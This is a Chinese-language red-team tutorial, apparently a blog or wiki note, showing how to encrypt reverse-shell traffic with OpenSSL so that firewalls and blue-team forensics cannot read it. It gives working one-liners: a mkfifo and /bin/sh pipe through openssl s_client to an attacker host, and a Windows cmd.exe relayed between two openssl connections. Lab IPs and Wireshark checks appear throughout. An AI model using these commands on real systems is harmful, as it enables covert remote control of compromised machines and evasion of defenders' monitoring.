NC反弹Shell流量加密.md
最后更新于
最后更新于
在红队的后渗透阶段中, 往往需要反弹shell进行下一步的内网横向渗透, 而这种反弹shell大多数都有一个缺点, 那就是其传输的流量都是明文传输, 相当容易被内网的防火软件所捕捉, 要是蓝队对此流量进行朔源分析, 很容易就能复现攻击的整个流程
例如此处用netcat反弹Shell进行测试, 首先在攻击机(kali,192.168.47.134)监听本机6666端口
在目标主机(win7,192.168.47.149)连接攻击机并反弹一个CmdShell
随后可在攻击机接收反弹的CmdShell, 输入ipconfig
进行测试
在攻击机使用wireshark抓取攻击机与目标主机之间的传输数据包, 并追踪其TCP流, 可发现是明文数据
OpenSSL 是一个开源的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上
其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。OpenSSL 可以运行在OpenVMS、 Microsoft Windows以及绝大多数类Unix操作系统上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。
它也提供了一个移植版本,可以在IBM i(OS/400)上运作
Windows版本下载地址: https://slproweb.com/products/Win32OpenSSL.html
若你的windows系统是64位, 则按下图所示选择即可
1.下载并安装OpenSSL
2.创建软链接
3.查看openssl版本验证是否安装成功
在攻击机输入如下命令生成自签名证书, 此处采用的是RSA加密方式; 随后会要求输入证书信息, 直接一路回车即可
命令语法: openssl req -x509 -newkey rsa:4096 -keyout [key文件] -out [cert文件] -days 365 -nodes
在攻击机创建服务端, 监听本机的4444端口
在linux客户端输入如下命令进行反弹shell
命令语法:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [服务端IP]:[监听端口] > /tmp/s; rm /tmp/s
随后攻击机接收到反弹回来的shell
与Linux客户端不一样的是, Windows客户端需要在攻击机用两个shell分别创建两个服务端来对接, 这两个服务端可以是相同IP不同端口
命令语法:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
随后返回客户端输入如下命令, 意思是从192.168.47.134:4444
获取命令发送给cmd执行, 然后将执行结果返回给192.168.47.134:6666
命令语法:
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
随后在攻击机接收到反弹的shell
在攻击机使用wireshark抓包分析, 可发现攻击机和目标主机使用TLS1.2协议进行加密通讯
https://wolke.cn/post/4904f19c.html
https://www.baidu.com/link?url=B1XZ3Z_yv67wYryFZ9-VR1KudgOuTujBq-03j__ojpRuiqVftM-y9lKjP62I2RQLvt-rOAH2YL6MCa_Xbv9Fe8Ia3ZUyItouKGHoXUYJJJi&wd=&eqid=91b9c7ba0001d3c4000000066366171a